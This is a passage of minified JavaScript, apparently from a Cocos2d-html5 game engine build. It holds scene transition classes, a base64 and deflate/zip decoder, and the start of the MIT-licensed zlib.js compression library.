  777. a.N(d);a.N(e);d.sprite.opacity=255;e.sprite.opacity=255;c=b.qa.create(b.Tj.create(this.m,0),b.jb.create(this.Bx,this),b.jb.create(this.finish,this));e.sprite.ua(c);this.N(a,2,b.Dq)}},vb:function(){this.UF(b.Dq,!1);b.wa.prototype.vb.call(this)},Z:function(){}});b.fI.create=function(a,c){var d=new b.fI;d.d(a,c);return d};
  778. b.DI=b.wa.extend({si:function(){this.nh=!1},ba:function(){b.wa.prototype.ba.call(this);var a=b.D.R,a=b.qA.create(this.m,O(0|a.width/a.height*12,12)),a=this.vf(a);this.eb.ua(b.qa.create(a,b.jb.create(this.finish,this),b.Dl.create()))},vf:function(a){return a}});b.DI.create=function(a,c){var d=new b.DI;return null!=d&&d.d(a,c)?d:null};
  779. b.pA=b.wa.extend({ba:function(){b.wa.prototype.ba.call(this);this.ma.visible=!1;var a=this.action(),a=b.qa.create(a,b.jb.create(this.Bx,this),a.reverse());this.ua(b.qa.create(this.vf(a),b.jb.create(this.finish,this),b.Dl.create()))},vf:function(a){return b.fq.create(a,3)},action:function(){return b.$z.create(this.m/2,3)}});b.pA.create=function(a,c){var d=new b.pA;return null!=d&&d.d(a,c)?d:null};b.CI=b.pA.extend({action:function(){return b.aA.create(this.m/2,3)}});
  780. b.CI.create=function(a,c){var d=new b.CI;return null!=d&&d.d(a,c)?d:null};b.Pq=b.wa.extend({si:function(){this.nh=!1},ba:function(){b.wa.prototype.ba.call(this);var a=b.D.R,a=this.Ko(O(0|a.width/a.height*12,12));this.eb.ua(b.qa.create(this.vf(a),b.jb.create(this.finish,this),b.Dl.create()))},vf:function(a){return a},Ko:function(a){return b.pq.create(this.m,a)}});b.Pq.create=function(a,c){var d=new b.Pq;return null!=d&&d.d(a,c)?d:null};b.gI=b.Pq.extend({Ko:function(a){return b.kz.create(this.m,a)}});
  781. b.gI.create=function(a,c){var d=new b.gI;return null!=d&&d.d(a,c)?d:null};b.iI=b.Pq.extend({Ko:function(a){return b.vu.create(this.m,a)}});b.iI.create=function(a,c){var d=new b.iI;return null!=d&&d.d(a,c)?d:null};b.hI=b.Pq.extend({Ko:function(a){return b.lz.create(this.m,a)}});b.hI.create=function(a,c){var d=new b.hI;return null!=d&&d.d(a,c)?d:null};b.PH=49153;
  782. b.bk=b.wa.extend({nd:0,Pc:0,uw:null,ub:"TransitionProgress",im:function(a,c,d){a.Mb({x:c,y:d,anchorX:0.5,anchorY:0.5})},ba:function(){b.wa.prototype.ba.call(this);this.IL();var a=b.D.R,c=b.sn.create(a.width,a.height);c.sprite.anchorX=0.5;c.sprite.anchorY=0.5;this.im(c,a.width/2,a.height/2);c.clear(0,0,0,1);c.Eh();this.uw.T();c.end();this.uw==this.eb&&this.Bx();a=this.dm(c);c=b.qa.create(b.Aq.create(this.m,this.Pc,this.nd),b.jb.create(this.finish,this));a.ua(c);this.N(a,2,b.PH)},vb:function(){this.UF(b.PH,!0);
  783. b.wa.prototype.vb.call(this)},IL:function(){this.uw=this.eb;this.Pc=100;this.nd=0},dm:function(){b.log("cc.TransitionProgress._progressTimerNodeWithRenderTexture(): should be overridden in subclass");return null},si:function(){this.nh=!1}});b.bk.create=function(a,c){var d=new b.bk;return null!=d&&d.d(a,c)?d:null};b.uI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Xh;a.reverseDir=!1;a.percentage=100;this.im(a,c.width/2,c.height/2);return a}});
  784. b.uI.create=function(a,c){var d=new b.uI;return null!=d&&d.d(a,c)?d:null};b.vI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Xh;a.reverseDir=!0;a.percentage=100;this.im(a,c.width/2,c.height/2);return a}});b.vI.create=function(a,c){var d=new b.vI;return null!=d&&d.d(a,c)?d:null};
  785. b.rI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Fl;a.midPoint=N(1,0);a.barChangeRate=N(1,0);a.percentage=100;this.im(a,c.width/2,c.height/2);return a}});b.rI.create=function(a,c){var d=new b.rI;return null!=d&&d.d(a,c)?d:null};
  786. b.wI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Fl;a.midPoint=N(0,0);a.barChangeRate=N(0,1);a.percentage=100;this.im(a,c.width/2,c.height/2);return a}});b.wI.create=function(a,c){var d=new b.wI;return null!=d&&d.d(a,c)?d:null};
  787. b.sI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Fl;a.midPoint=N(0.5,0.5);a.barChangeRate=N(1,1);a.percentage=0;this.im(a,c.width/2,c.height/2);return a},si:function(){this.nh=!1},IL:function(){this.uw=this.ma;this.Pc=0;this.nd=100}});b.sI.create=function(a,c){var d=new b.sI;return null!=d&&d.d(a,c)?d:null};
  788. b.tI=b.bk.extend({dm:function(a){var c=b.D.R;a=b.Ya.create(a.sprite);b.A===b.$&&(a.sprite.flippedY=!0);a.type=b.Ya.Fl;a.midPoint=N(0.5,0.5);a.barChangeRate=N(1,1);a.percentage=100;this.im(a,c.width/2,c.height/2);return a}});b.tI.create=function(a,c){var d=new b.tI;return null!=d&&d.d(a,c)?d:null};b.qI=b.wa.extend({gv:!0,ub:"TransitionPageTurn",d:function(a,c,d){this.gv=d;b.wa.prototype.d.call(this,a,c);return!0},Ko:function(a){return this.gv?b.Cl.create(b.Bu.create(this.m,a)):b.Bu.create(this.m,a)},ba:function(){b.wa.prototype.ba.call(this);var a=b.D.R,c;a.width>a.height?(a=16,c=12):(a=12,c=16);a=this.Ko(O(a,c));this.gv?(this.ma.visible=!1,this.ma.ua(b.qa.create(b.Df.create(),a,b.jb.create(this.finish,this),b.Dl.create()))):this.eb.ua(b.qa.create(a,b.jb.create(this.finish,this),b.Dl.create()))},
  789. si:function(){this.nh=this.gv}});b.qI.create=function(a,c,d){var e=new b.qI;e.d(a,c,d);return e};b.ka={name:"Jacob__Codec"};b.J4=function(){return b.ka.Ha.xx.apply(b.ka.Ha,arguments)};b.K4=function(){var a=b.ka.ol.CM.apply(b.ka.ol,arguments);return b.ka.Ha.xx.apply(b.ka.Ha,[a])};b.UP=function(a,c){c=c||1;var d=this.K4(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};b.cka=function(a,c){c=c||1;var d=this.J4(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};
  790. b.d7=function(a){a=a.split(",");var c=[],d;for(d=0;d<a.length;d++)c.push(parseInt(a[d]));return c};b.ka.ol={name:"Jacob__Codec__Base64"};b.ka.ol.Wv="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\x3d";
  791. b.ka.ol.CM=function(a){var c=[],d,e,f,g,h,k=0;for(a=a.replace(/[^A-Za-z0-9\+\/\=]/g,"");k<a.length;)d=this.Wv.indexOf(a.charAt(k++)),e=this.Wv.indexOf(a.charAt(k++)),g=this.Wv.indexOf(a.charAt(k++)),h=this.Wv.indexOf(a.charAt(k++)),d=d<<2|e>>4,e=(e&15)<<4|g>>2,f=(g&3)<<6|h,c.push(String.fromCharCode(d)),64!=g&&c.push(String.fromCharCode(e)),64!=h&&c.push(String.fromCharCode(f));return c=c.join("")};
  792. b.ka.ol.DM=function(a,c){var d=this.CM(a),e=[],f,g,h;f=0;for(h=d.length/c;f<h;f++)for(e[f]=0,g=c-1;0<=g;--g)e[f]+=d.charCodeAt(f*c+g)<<8*g;return e};b.G4=function(a){if(0!=a.length%4)return null;for(var c=a.length/4,d=window.C7?new Uint32Array(c):[],e=0;e<c;e++){var f=4*e;d[e]=a[f]+256*a[f+1]+65536*a[f+2]+16777216*a[f+3]}return d};b.ka.Ha=function(a){this.data=a;this.debug=!1;this.Bj=void 0;this.files=0;this.Qy=[];this.iE=Array(32768);this.Dh=0;this.dy=!1;this.rM=0;this.xi=1;this.No=0;this.qp=[];this.TM=void 0;this.gt=Array(b.ka.Ha.FR);this.Dm=Array(32);this.Qt=0;this.Ez=null;this.Ph=0;this.Zo=Array(17);this.Zo[0]=0;this.YM=this.WM=void 0};b.ka.Ha.xx=function(a){return(new b.ka.Ha(a)).xx()[0][0]};b.ka.Ha.oz=function(){this.Zw=this.Yw=0;this.xF=null;this.p1=-1};b.ka.Ha.FR=288;b.ka.Ha.qH=256;
  793. b.ka.Ha.gE=[0,128,64,192,32,160,96,224,16,144,80,208,48,176,112,240,8,136,72,200,40,168,104,232,24,152,88,216,56,184,120,248,4,132,68,196,36,164,100,228,20,148,84,212,52,180,116,244,12,140,76,204,44,172,108,236,28,156,92,220,60,188,124,252,2,130,66,194,34,162,98,226,18,146,82,210,50,178,114,242,10,138,74,202,42,170,106,234,26,154,90,218,58,186,122,250,6,134,70,198,38,166,102,230,22,150,86,214,54,182,118,246,14,142,78,206,46,174,110,238,30,158,94,222,62,190,126,254,1,129,65,193,33,161,97,225,17,145,
  794. 81,209,49,177,113,241,9,137,73,201,41,169,105,233,25,153,89,217,57,185,121,249,5,133,69,197,37,165,101,229,21,149,85,213,53,181,117,245,13,141,77,205,45,173,109,237,29,157,93,221,61,189,125,253,3,131,67,195,35,163,99,227,19,147,83,211,51,179,115,243,11,139,75,203,43,171,107,235,27,155,91,219,59,187,123,251,7,135,71,199,39,167,103,231,23,151,87,215,55,183,119,247,15,143,79,207,47,175,111,239,31,159,95,223,63,191,127,255];
  795. b.ka.Ha.zM=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0];b.ka.Ha.AM=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,99,99];b.ka.Ha.yM=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];b.ka.Ha.To=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];b.ka.Ha.border=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];
  796. b.ka.Ha.prototype.xx=function(){this.ut=[];ea(this);return this.Qy};b.ka.Ha.prototype.S=function(){this.No+=8;return this.rM<this.data.length?this.data.charCodeAt(this.rM++):-1};function fa(a){var c;a.No++;c=a.xi&1;a.xi>>=1;0==a.xi&&(a.xi=a.S(),c=a.xi&1,a.xi=a.xi>>1|128);return c}function U(a,c){for(var d=0,e=c;e--;)d=d<<1|fa(a);c&&(d=b.ka.Ha.gE[d]>>8-c);return d}function ja(a,c){a.iE[a.Dh++]=c;a.ut.push(String.fromCharCode(c));32768==a.Dh&&(a.Dh=0)}
  797. function ka(a){for(;;){if(a.Zo[a.Ph]>=a.YM)return-1;if(a.WM[a.Zo[a.Ph]]==a.Ph)return a.Zo[a.Ph]++;a.Zo[a.Ph]++}}function la(a){var c=a.Ez[a.Qt],d;if(17==a.Ph)return-1;a.Qt++;a.Ph++;d=ka(a);if(0<=d)c.Yw=d;else if(c.Yw=32768,la(a))return-1;d=ka(a);if(0<=d)c.Zw=d,c.xF=null;else if(c.Zw=32768,c.xF=a.Ez[a.Qt],c.p1=a.Qt,la(a))return-1;a.Ph--;return 0}function ma(a,c,d,e){a.Ez=c;a.Qt=0;a.WM=e;a.YM=d;for(c=0;17>c;c++)a.Zo[c]=0;a.Ph=0;return la(a)?-1:0}
  798. function na(a,c){for(var d,e,f=0,g=c[f];;)if(d=fa(a)){if(!(g.Zw&32768))return g.Zw;g=g.xF;d=c.length;for(e=0;e<d;e++)if(c[e]===g){f=e;break}}else{if(!(g.Yw&32768))return g.Yw;f++;g=c[f]}return-1}
  799. function oa(a){var c,d,e,f,g;do if(c=fa(a),e=U(a,2),0==e)for(a.xi=1,e=a.S(),e|=a.S()<<8,d=a.S(),d|=a.S()<<8,(e^~d)&65535&&document.write("BlockLen checksum mismatch\n");e--;)d=a.S(),ja(a,d);else if(1==e)for(;;)if(e=b.ka.Ha.gE[U(a,7)]>>1,23<e?(e=e<<1|fa(a),199<e?(e-=128,e=e<<1|fa(a)):(e-=48,143<e&&(e+=136))):e+=256,256>e)ja(a,e);else if(256==e)break;else{var h;e-=257;g=U(a,b.ka.Ha.AM[e])+b.ka.Ha.zM[e];e=b.ka.Ha.gE[U(a,5)]>>3;8<b.ka.Ha.To[e]?(h=U(a,8),h|=U(a,b.ka.Ha.To[e]-8)<<8):h=U(a,b.ka.Ha.To[e]);
  800. h+=b.ka.Ha.yM[e];for(e=0;e<g;e++)d=a.iE[a.Dh-h&32767],ja(a,d)}else if(2==e){var k=Array(320);d=257+U(a,5);h=1+U(a,5);f=4+U(a,4);for(e=0;19>e;e++)k[e]=0;for(e=0;e<f;e++)k[b.ka.Ha.border[e]]=U(a,3);g=a.Dm.length;for(f=0;f<g;f++)a.Dm[f]=new b.ka.Ha.oz;if(ma(a,a.Dm,19,k)){a.Dh=0;return}g=d+h;f=0;for(var m=-1;f<g;)if(m++,e=na(a,a.Dm),16>e)k[f++]=e;else if(16==e){var p;e=3+U(a,2);if(f+e>g){a.Dh=0;return}for(p=f?k[f-1]:0;e--;)k[f++]=p}else{e=17==e?3+U(a,3):11+U(a,7);if(f+e>g){a.Dh=0;return}for(;e--;)k[f++]=
  801. 0}g=a.gt.length;for(f=0;f<g;f++)a.gt[f]=new b.ka.Ha.oz;if(ma(a,a.gt,d,k)){a.Dh=0;return}g=a.gt.length;for(f=0;f<g;f++)a.Dm[f]=new b.ka.Ha.oz;e=[];for(f=d;f<k.length;f++)e[f-d]=k[f];if(ma(a,a.Dm,h,e)){a.Dh=0;return}for(;;)if(e=na(a,a.gt),256<=e){e-=256;if(0==e)break;e--;g=U(a,b.ka.Ha.AM[e])+b.ka.Ha.zM[e];e=na(a,a.Dm);8<b.ka.Ha.To[e]?(h=U(a,8),h|=U(a,b.ka.Ha.To[e]-8)<<8):h=U(a,b.ka.Ha.To[e]);for(h+=b.ka.Ha.yM[e];g--;)d=a.iE[a.Dh-h&32767],ja(a,d)}else ja(a,e)}while(!c);a.Dh=0;a.xi=1}
  802. function ea(a){a.ut=[];a.dy=!1;var c=[];c[0]=a.S();c[1]=a.S();120==c[0]&&218==c[1]&&(oa(a),a.Qy[a.files]=[a.ut.join(""),"geonext.gxt"],a.files++);31==c[0]&&139==c[1]&&(qa(a),a.Qy[a.files]=[a.ut.join(""),"file"],a.files++);if(80==c[0]&&75==c[1]&&(a.dy=!0,c[2]=a.S(),c[3]=a.S(),3==c[2]&&4==c[3])){c[0]=a.S();c[1]=a.S();a.Bj=a.S();a.Bj|=a.S()<<8;c=a.S();c|=a.S()<<8;a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();a.S();var d=a.S(),d=d|a.S()<<8,e=a.S(),e=e|a.S()<<8,f=0;for(a.qp=[];d--;){var g=
  803. a.S();"/"==g|":"==g?f=0:f<b.ka.Ha.qH-1&&(a.qp[f++]=String.fromCharCode(g))}a.TM||(a.TM=a.qp);for(var f=0;f<e;)a.S(),f++;8==c&&(oa(a),a.Qy[a.files]=[a.ut.join(""),a.qp.join("")],a.files++);qa(a)}}
  804. function qa(a){var c=[],d;a.Bj&8&&(c[0]=a.S(),c[1]=a.S(),c[2]=a.S(),c[3]=a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S(),a.S());a.dy&&ea(a);c[0]=a.S();if(8==c[0]){a.Bj=a.S();a.S();a.S();a.S();a.S();a.S();a.S();if(a.Bj&4)for(c[0]=a.S(),c[2]=a.S(),a.Ph=c[0]+256*c[1],c=0;c<a.Ph;c++)a.S();if(a.Bj&8)for(c=0,a.qp=[];d=a.S();){if("7"==d||":"==d)c=0;c<b.ka.Ha.qH-1&&(a.qp[c++]=d)}if(a.Bj&16)for(;a.S(););a.Bj&2&&(a.S(),a.S());oa(a);a.S();a.S();a.S();a.S();a.dy&&ea(a)}};/*
  805. zlib.js 2012 - imaya [ https://github.com/imaya/zlib.js ] The MIT License */
  806. (function(){function a(a){throw a;}function c(a,c){var d=a.split("."),e=E;d[0]in e||!e.execScript||e.execScript("var "+d[0]);for(var f;d.length&&(f=d.shift());)d.length||c===G?e=e[f]?e[f]:e[f]={}:e[f]=c}function d(a){if("string"===typeof a){a=a.split("");var c,d;c=0;for(d=a.length;c<d;c++)a[c]=(a[c].charCodeAt(0)&255)>>>0}c=1;d=0;for(var e=a.length,f,g=0;0<e;){f=1024<e?1024:e;e-=f;do c+=a[g++],d+=c;while(--f);c%=65521;d%=65521}return(d<<16|c)>>>0}function e(c,d){this.index="number"===typeof d?d:0;
  807. this.Zs=0;this.buffer=c instanceof(z?Uint8Array:Array)?c:new (z?Uint8Array:Array)(32768);2*this.buffer.length<=this.index&&a(Error("invalid index"));this.buffer.length<=this.index&&this.Gh()}function f(a){this.buffer=new (z?Uint16Array:Array)(2*a);this.length=0}function g(a){var c=a.length,d=0,e=Number.POSITIVE_INFINITY,f,g,h,k,m,p,r,s,t;for(s=0;s<c;++s)a[s]>d&&(d=a[s]),a[s]<e&&(e=a[s]);f=1<<d;g=new (z?Uint32Array:Array)(f);h=1;k=0;for(m=2;h<=d;){for(s=0;s<c;++s)if(a[s]===h){p=0;r=k;for(t=0;t<h;++t)p=
  808. p<<1|r&1,r>>=1;for(t=p;t<f;t+=m)g[t]=h<<16|s;++k}++h;k<<=1;m<<=1}return[g,d,e]}function h(a,c){this.hp=P;this.H=0;this.input=a;this.b=0;c&&(c.Q1&&(this.H=c.Q1),"number"===typeof c.uE&&(this.hp=c.uE),c.iy&&(this.a=z&&c.iy instanceof Array?new Uint8Array(c.iy):c.iy),"number"===typeof c.e2&&(this.b=c.e2));this.a||(this.a=new (z?Uint8Array:Array)(32768))}function k(a,c){this.length=a;this.gR=c}function m(){var c=R;switch(I){case 3===c:return[257,c-3,0];case 4===c:return[258,c-4,0];case 5===c:return[259,
  809. c-5,0];case 6===c:return[260,c-6,0];case 7===c:return[261,c-7,0];case 8===c:return[262,c-8,0];case 9===c:return[263,c-9,0];case 10===c:return[264,c-10,0];case 12>=c:return[265,c-11,1];case 14>=c:return[266,c-13,1];case 16>=c:return[267,c-15,1];case 18>=c:return[268,c-17,1];case 22>=c:return[269,c-19,2];case 26>=c:return[270,c-23,2];case 30>=c:return[271,c-27,2];case 34>=c:return[272,c-31,2];case 42>=c:return[273,c-35,3];case 50>=c:return[274,c-43,3];case 58>=c:return[275,c-51,3];case 66>=c:return[276,
  810. c-59,3];case 82>=c:return[277,c-67,4];case 98>=c:return[278,c-83,4];case 114>=c:return[279,c-99,4];case 130>=c:return[280,c-115,4];case 162>=c:return[281,c-131,5];case 194>=c:return[282,c-163,5];case 226>=c:return[283,c-195,5];case 257>=c:return[284,c-227,5];case 258===c:return[285,c-258,0];default:a("invalid length: "+c)}}function p(c,d){function e(c,d){var f=c.gR,g=[],h=0,k;k=V[c.length];g[h++]=k&65535;g[h++]=k>>16&255;g[h++]=k>>24;var m;switch(I){case 1===f:m=[0,f-1,0];break;case 2===f:m=[1,f-
  811. 2,0];break;case 3===f:m=[2,f-3,0];break;case 4===f:m=[3,f-4,0];break;case 6>=f:m=[4,f-5,1];break;case 8>=f:m=[5,f-7,1];break;case 12>=f:m=[6,f-9,2];break;case 16>=f:m=[7,f-13,2];break;case 24>=f:m=[8,f-17,3];break;case 32>=f:m=[9,f-25,3];break;case 48>=f:m=[10,f-33,4];break;case 64>=f:m=[11,f-49,4];break;case 96>=f:m=[12,f-65,5];break;case 128>=f:m=[13,f-97,5];break;case 192>=f:m=[14,f-129,6];break;case 256>=f:m=[15,f-193,6];break;case 384>=f:m=[16,f-257,7];break;case 512>=f:m=[17,f-385,7];break;
  812. case 768>=f:m=[18,f-513,8];break;case 1024>=f:m=[19,f-769,8];break;case 1536>=f:m=[20,f-1025,9];break;case 2048>=f:m=[21,f-1537,9];break;case 3072>=f:m=[22,f-2049,10];break;case 4096>=f:m=[23,f-3073,10];break;case 6144>=f:m=[24,f-4097,11];break;case 8192>=f:m=[25,f-6145,11];break;case 12288>=f:m=[26,f-8193,12];break;case 16384>=f:m=[27,f-12289,12];break;case 24576>=f:m=[28,f-16385,13];break;case 32768>=f:m=[29,f-24577,13];break;default:a("invalid distance")}k=m;g[h++]=k[0];g[h++]=k[1];g[h++]=k[2];
  813. f=0;for(h=g.length;f<h;++f)t[u++]=g[f];w[g[0]]++;x[g[3]]++;v=c.length+d-1;s=null}var f,g,h,m,p,r={},s,t=z?new Uint16Array(2*d.length):[],u=0,v=0,w=new (z?Uint32Array:Array)(286),x=new (z?Uint32Array:Array)(30),B=c.H,y;if(!z){for(h=0;285>=h;)w[h++]=0;for(h=0;29>=h;)x[h++]=0}w[256]=1;f=0;for(g=d.length;f<g;++f){h=p=0;for(m=3;h<m&&f+h!==g;++h)p=p<<8|d[f+h];r[p]===G&&(r[p]=[]);h=r[p];if(!(0<v--)){for(;0<h.length&&32768<f-h[0];)h.shift();if(f+3>=g){s&&e(s,-1);h=0;for(m=g-f;h<m;++h)y=d[f+h],t[u++]=y,++w[y];
  814. break}if(0<h.length){p=m=G;var D=0,F=G,E=G,J=F=G,M=d.length,E=0,J=h.length;a:for(;E<J;E++){m=h[J-E-1];F=3;if(3<D){for(F=D;3<F;F--)if(d[m+F-1]!==d[f+F-1])continue a;F=D}for(;258>F&&f+F<M&&d[m+F]===d[f+F];)++F;F>D&&(p=m,D=F);if(258===F)break}m=new k(D,f-p);s?s.length<m.length?(y=d[f-1],t[u++]=y,++w[y],e(m,0)):e(s,-1):m.length<B?s=m:e(m,0)}else s?e(s,-1):(y=d[f],t[u++]=y,++w[y])}h.push(f)}t[u++]=256;w[256]++;c.BR=w;c.tR=x;return z?t.subarray(0,u):t}function r(a,c){function d(a){var c=t[a][u[a]];c===
  815. r?(d(a+1),d(a+1)):--s[c];++u[a]}var e=a.length,g=new f(572),h=new (z?Uint8Array:Array)(e),k,m,p;if(!z)for(m=0;m<e;m++)h[m]=0;for(m=0;m<e;++m)0<a[m]&&g.push(m,a[m]);e=Array(g.length/2);k=new (z?Uint32Array:Array)(g.length/2);if(1===e.length)return h[g.pop().index]=1,h;m=0;for(p=g.length/2;m<p;++m)e[m]=g.pop(),k[m]=e[m].value;var r=k.length;m=new (z?Uint16Array:Array)(c);var g=new (z?Uint8Array:Array)(c),s=new (z?Uint8Array:Array)(r);p=Array(c);var t=Array(c),u=Array(c),v=(1<<c)-r,w=1<<c-1,x,y,B;m[c-
  816. 1]=r;for(x=0;x<c;++x)v<w?g[x]=0:(g[x]=1,v-=w),v<<=1,m[c-2-x]=(m[c-1-x]/2|0)+r;m[0]=g[0];p[0]=Array(m[0]);t[0]=Array(m[0]);for(x=1;x<c;++x)m[x]>2*m[x-1]+g[x]&&(m[x]=2*m[x-1]+g[x]),p[x]=Array(m[x]),t[x]=Array(m[x]);for(v=0;v<r;++v)s[v]=c;for(w=0;w<m[c-1];++w)p[c-1][w]=k[w],t[c-1][w]=w;for(v=0;v<c;++v)u[v]=0;1===g[c-1]&&(--s[0],++u[c-1]);for(x=c-2;0<=x;--x){y=v=0;B=u[x+1];for(w=0;w<m[x];w++)y=p[x+1][B]+p[x+1][B+1],y>k[v]?(p[x][w]=y,t[x][w]=r,B+=2):(p[x][w]=k[v],t[x][w]=v,++v);u[x]=0;1===g[x]&&d(x)}k=
  817. s;m=0;for(p=e.length;m<p;++m)h[e[m].index]=k[m];return h}function s(c){var d=new (z?Uint16Array:Array)(c.length),e=[],f=[],g=0,h,k,m;h=0;for(k=c.length;h<k;h++)e[c[h]]=(e[c[h]]|0)+1;h=1;for(k=16;h<=k;h++)f[h]=g,g+=e[h]|0,g>1<<h&&a("overcommitted"),g<<=1;65536>g&&a("undercommitted");h=0;for(k=c.length;h<k;h++)for(g=f[c[h]],f[c[h]]+=1,e=d[h]=0,m=c[h];e<m;e++)d[h]=d[h]<<1|g&1,g>>>=1;return d}function u(a,c){this.input=a;this.a=new (z?Uint8Array:Array)(32768);this.hp=M.Nx;var d={},e;!c&&(c={})||"number"!==
  818. typeof c.uE||(this.hp=c.uE);for(e in c)d[e]=c[e];d.iy=this.a;this.z=new h(this.input,d)}function t(c,d){this.Ox=[];this.Yx=32768;this.Mg=this.g=this.C=this.py=0;this.input=z?new Uint8Array(c):c;this.$F=!1;this.by=ga;this.PG=!1;if(d||!(d={}))d.index&&(this.C=d.index),d.jE&&(this.Yx=d.jE),d.kE&&(this.by=d.kE),d.resize&&(this.PG=d.resize);switch(this.by){case pa:this.b=32768;this.a=new (z?Uint8Array:Array)(32768+this.Yx+258);break;case ga:this.b=0;this.a=new (z?Uint8Array:Array)(this.Yx);this.Gh=this.sR;
  819. this.BG=this.iR;this.ey=this.mR;break;default:a(Error("invalid inflate mode"))}}function v(c,d){for(var e=c.g,f=c.Mg,g=c.input,h=c.C,k;f<d;)k=g[h++],k===G&&a(Error("input buffer is broken")),e|=k<<f,f+=8;c.g=e>>>d;c.Mg=f-d;c.C=h;return e&(1<<d)-1}function w(c,d){for(var e=c.g,f=c.Mg,g=c.input,h=c.C,k=d[0],m=d[1],p;f<m;)p=g[h++],p===G&&a(Error("input buffer is broken")),e|=p<<f,f+=8;g=k[e&(1<<m)-1];k=g>>>16;c.g=e>>k;c.Mg=f-k;c.C=h;return g&65535}function y(a){function c(a,d,e){var f,g,h,k;for(k=0;k<
  820. a;)switch(f=w(this,d),f){case 16:for(h=3+v(this,2);h--;)e[k++]=g;break;case 17:for(h=3+v(this,3);h--;)e[k++]=0;g=0;break;case 18:for(h=11+v(this,7);h--;)e[k++]=0;g=0;break;default:g=e[k++]=f}return e}var d=v(a,5)+257,e=v(a,5)+1,f=v(a,4)+4,h=new (z?Uint8Array:Array)(va.length),k;for(k=0;k<f;++k)h[va[k]]=v(a,3);f=g(h);h=new (z?Uint8Array:Array)(d);k=new (z?Uint8Array:Array)(e);a.ey(g(c.call(a,d,f,h)),g(c.call(a,e,f,k)))}function B(c,d){var e,f;this.input=c;this.C=0;if(d||!(d={}))d.index&&(this.C=d.index),
  821. d.ZP&&(this.KR=d.ZP);e=c[this.C++];f=c[this.C++];switch(e&15){case ca:this.method=ca;break;default:a(Error("unsupported compression method"))}0!==((e<<8)+f)%31&&a(Error("invalid fcheck flag:"+((e<<8)+f)%31));f&32&&a(Error("fdict flag is not supported"));this.HG=new t(c,{index:this.C,jE:d.jE,kE:d.kE,resize:d.resize})}var G=void 0,I=!0,E=this,z="undefined"!==typeof Uint8Array&&"undefined"!==typeof Uint16Array&&"undefined"!==typeof Uint32Array;e.prototype.Gh=function(){var a=this.buffer,c,d=a.length,
  822. e=new (z?Uint8Array:Array)(d<<1);if(z)e.set(a);else for(c=0;c<d;++c)e[c]=a[c];return this.buffer=e};e.prototype.I=function(a,c,d){var e=this.buffer,f=this.index,g=this.Zs,h=e[f];d&&1<c&&(a=8<c?(J[a&255]<<24|J[a>>>8&255]<<16|J[a>>>16&255]<<8|J[a>>>24&255])>>32-c:J[a]>>8-c);if(8>c+g)h=h<<c|a,g+=c;else for(d=0;d<c;++d)h=h<<1|a>>c-d-1&1,8===++g&&(g=0,e[f++]=J[h],h=0,f===e.length&&(e=this.Gh()));e[f]=h;this.buffer=e;this.Zs=g;this.index=f};e.prototype.finish=function(){var a=this.buffer,c=this.index,d;
  823. 0<this.Zs&&(a[c]<<=8-this.Zs,a[c]=J[a[c]],c++);z?d=a.subarray(0,c):(a.length=c,d=a);return d};var D=new (z?Uint8Array:Array)(256),x;for(x=0;256>x;++x){for(var F=x,K=F,L=7,F=F>>>1;F;F>>>=1)K<<=1,K|=F&1,--L;D[x]=(K<<L&255)>>>0}var J=D,D=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,
  824. 4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,
  825. 251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,
